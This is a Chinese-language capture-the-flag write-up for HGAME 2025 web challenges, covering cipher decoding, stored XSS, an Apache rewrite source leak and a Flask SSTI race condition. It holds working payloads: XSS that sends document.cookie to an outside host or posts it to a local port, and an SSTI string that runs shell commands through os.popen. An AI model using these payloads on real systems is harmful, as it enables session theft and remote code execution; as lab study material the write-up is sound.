Level 24 Pacman #考眼力的签到题
一个吃豆豆的小游戏,要吃够一万分才能拿到flag,这类题都是可以去找条件然后进行绕过的,先看一下源代码
终于在源码里面看到了一句base64编码,加密后是
栅栏密码
但是这个不是密码
然后在又发现一个 haeu4epca_4trgm{_r_amnmse}
这个就是对的了
Level 69 MysteryMessageBoard #不出网的xss 登录界面提示了shallot用户名,密码的话试了一下用字典去爆破然后就找到密码登进去了
是一个留言板,试一下xss
1 <script>alert(1)</script>
发现有弹窗显示1,说明这里可能存在xss漏洞
1 <script>document.location.href="http://[ip]/xss.php?cookie="+document.cookie</script>
试一下能不能拿到admin的cookie,但是拿到的只有自己的cookie,应该是需要触发admin去访问这个留言,后面扫目录看到有admin路由
应该是访问admin路由后才会触发admin访问留言
但是用上面的打法然后访问admin之后并没有收到admin的cookie,后面才知道是admin不出网,所以我们让admin去访问本地的8888端口然后把cookie反射到留言板上就可以了
1 2 3 4 5 6 <script> var xhr=new XMLHttpRequest ();xhr.open ("POST" , "http://127.0.0.1:8888/" , true ); xhr.setRequestHeader ("Content-Type" ,"application/x-www-form-urlencoded" ); xhr.send ("comment=" + document .cookie ); </script>
传入后访问admin路由触发admin访问留言,然后刷新页面就可以拿到admin的cookie了
后面访问flag路由然后伪造admin身份就可以拿到flag了
Level 47 BandBomb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 const express = require ('express' );const multer = require ('multer' );const fs = require ('fs' );const path = require ('path' );const app = express ();app.set ('view engine' , 'ejs' ); app.use ('/static' , express.static (path.join (__dirname, 'public' ))); app.use (express.json ()); const storage = multer.diskStorage ({ destination : (req, file, cb ) => { const uploadDir = 'uploads' ; if (!fs.existsSync (uploadDir)) { fs.mkdirSync (uploadDir); } cb (null , uploadDir); }, filename : (req, file, cb ) => { cb (null , file.originalname ); } }); const upload = multer ({ storage : storage, fileFilter : (_, file, cb ) => { try { if (!file.originalname ) { return cb (new Error ('无效的文件名' ), false ); } cb (null , true ); } catch (err) { cb (new Error ('文件处理错误' ), false ); } } }); app.get ('/' , (req, res ) => { const uploadsDir = path.join (__dirname, 'uploads' ); if (!fs.existsSync (uploadsDir)) { fs.mkdirSync (uploadsDir); } fs.readdir (uploadsDir, (err, files ) => { if (err) { return res.status (500 ).render ('mortis' , { files : [] }); } res.render ('mortis' , { files : files }); }); }); app.post ('/upload' , (req, res ) => { upload.single ('file' )(req, res, (err ) => { if (err) { return res.status (400 ).json ({ error : err.message }); } if (!req.file ) { return res.status (400 ).json ({ error : '没有选择文件' }); } res.json ({ message : '文件上传成功' , filename : req.file .filename }); }); }); app.post ('/rename' , (req, res ) => { const { oldName, newName } = req.body ; const oldPath = path.join (__dirname, 'uploads' , oldName); const newPath = path.join (__dirname, 'uploads' , newName); if (!oldName || !newName) { return res.status (400 ).json ({ error : ' ' }); } fs.rename (oldPath, newPath, (err ) => { if (err) { return res.status (500 ).json ({ error : ' ' + err.message }); } res.json ({ message : ' ' }); }); }); app.listen (port, () => { console .log (`服务器运行在 http://localhost:${port} ` ); });
先进行代码审计
1 app.use('/static', express.static(path.join(__dirname, 'public')));
app.use()
是 Express 应用程序的方法,用于将中间件函数附加到应用程序的请求处理流程中。它可以用于处理所有 HTTP 请求类型
**'/static
**指定了当客户端请求以 /static
开头的路径时,后续的中间件(在这里是 express.static
)将会处理这些请求。
express.static
是 Express 提供的一个内置中间件,用于为应用提供静态文件服务。它可以为指定的目录提供静态资源
path.join
是 Node.js 内置的 path
模块的方法,用于安全地连接文件和目录路径。
__dirname
是一个全局变量,表示当前执行脚本所在的目录的绝对路径。
先放着吧,这个知识点还没学,学完了再回来写
Level 38475 角落 #url重写漏洞+ssti条件竞争 题目提示会有管理员查看留言
传了一个<script>alert("1")</script>
显示上传成功但是没得弹窗警告,扫目录看到一个有robots.txt,给了一个/app.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Include by httpd.conf <Directory "/usr/local/apache2/app"> Options Indexes AllowOverride None Require all granted </Directory> <Files "/usr/local/apache2/app/app.py"> Order Allow,Deny Deny from all </Files> RewriteEngine On RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/" RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo" ProxyPass "/app/" "http://127.0.0.1:5000/"
分析一下这个配置文件,app.py不让访问,我们重点看一下URL重写规则
1 2 3 RewriteEngine On//开启 Apache 的 URL 重写模块 RewriteCond "%{HTTP_USER_AGENT}" "^L1nk/"%{HTTP_USER_AGENT}表示客户端发送的 HTTP 请求中的用户代理字符串(User-Agent),如果UA头中包含 L1nk/ 字符串,则后续的重写规则将会被应用 RewriteRule "^/admin/(.*)$" "/$1.html?secret=todo"
RewriteRule “^/admin/(.*)$” “/$1.html?secret=todo”
什么意思呢?就是当我访问/admin/???目录的时候Apache 会尝试在文件系统中查找 /???.html
文件
阿帕奇的URL重写规则
试着去拿一下app.py但是没拿到,应该是路径问题
后面找文档看到有版本CVE
Apache 的文档根目录(DocumentRoot
)通常是 /usr/local/apache
或类似路径。直接读app.py
只需要在最后加一个%3f即可,这会把app.py后面的东西变成查询语句。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 //app.py from flask import Flask, request, render_template, render_template_string, redirectimport osimport templatesapp = Flask(__name__) pwd = os.path.dirname(__file__) show_msg = templates.show_msg def readmsg (): filename = pwd + "/tmp/message.txt" if os.path.exists(filename): f = open (filename, 'r' ) message = f.read() f.close() return message else : return 'No message now.' @app.route('/index' , methods=['GET' ] ) def index (): status = request.args.get('status' ) if status is None : status = '' return render_template("index.html" , status=status) @app.route('/send' , methods=['POST' ] ) def write_message (): filename = pwd + "/tmp/message.txt" message = request.form['message' ] f = open (filename, 'w' ) f.write(message) f.close() return redirect('index?status=Send successfully!!' ) @app.route('/read' , methods=['GET' ] ) def read_message (): if "{" not in readmsg(): show = show_msg.replace("{{message}}" , readmsg()) return render_template_string(show) return 'waf!!' if __name__ == '__main__' : app.run(host = '0.0.0.0' , port = 5000 )
路由/read是用来渲染的,是ssti,先传一个7*7然后访问/read路由
能正常访问处理,因为这里会检查是否包含{
,之前没学过过滤了这个怎么做,后面看的师傅的wp知道这里是需要条件竞争的,因为我们需要写文件读文件,那么这里可以可以用条件竞争来做。
需要一个正常/send包,一个写文件的/send包,一个读文件的/read包
我们用lipsum获取os模块,三个包设置如下
payload
1 message={{lipsum.__globals__.__builtins__.__import__('os').popen('ls').read()}}
然后换一下rce命令再竞争一下就可以了
Level 25 双面人派对 还需要逆向分析,压根不会,可以看看infernity师傅的wp
Hgame2025 week1 Web WP
Level 21096 HoneyPot